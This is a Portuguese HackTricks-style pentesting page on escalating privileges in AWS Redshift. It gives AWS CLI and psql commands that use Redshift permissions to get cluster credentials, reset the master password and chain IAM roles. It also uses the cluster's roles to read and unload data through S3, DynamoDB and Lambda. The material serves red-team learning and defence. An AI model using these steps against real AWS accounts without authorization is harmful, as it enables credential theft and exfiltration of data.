AWS - Redshift Privesc

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Suporte HackTricks

Redshift

Para mais informações sobre RDS, confira:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Com essas permissões, você pode obter informações de todos os clusters (incluindo nome e nome de usuário do cluster) e obter credenciais para acessá-lo:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Impacto Potencial: Encontrar informações sensíveis dentro dos bancos de dados.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Com essas permissões, você pode obter informações de todos os clusters e obter credenciais para acessá-los. Note que o usuário postgres terá as permissões que a identidade IAM usada para obter as credenciais possui.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Impacto Potencial: Encontrar informações sensíveis dentro dos bancos de dados.

redshift:DescribeClusters, redshift:ModifyCluster?

É possível modificar a senha mestre do usuário postgres interno (redshift) a partir do aws cli (acho que essas são as permissões necessárias, mas ainda não as testei):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Impacto Potencial: Encontrar informações sensíveis dentro dos bancos de dados.

Acessando Serviços Externos

Para acessar todos os recursos a seguir, você precisará especificar o papel a ser usado. Um cluster Redshift pode ter uma lista de papéis AWS atribuídos que você pode usar se souber o ARN ou pode simplesmente definir "default" para usar o padrão atribuído.

Além disso, como explicado aqui, o Redshift também permite concatenar papéis (desde que o primeiro possa assumir o segundo) para obter acesso adicional, apenas separando-os com uma vírgula: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

Como explicado em https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, é possível chamar uma função lambda a partir do redshift com algo como:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Como explicado em https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, é possível ler e escrever em buckets S3:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Como explicado em https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, é possível obter dados do dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

A tabela Amazon DynamoDB que fornece os dados deve ser criada na mesma Região AWS que seu cluster, a menos que você use a opção REGION para especificar a Região AWS na qual a tabela Amazon DynamoDB está localizada.

EMR

Verifique https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Referências

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated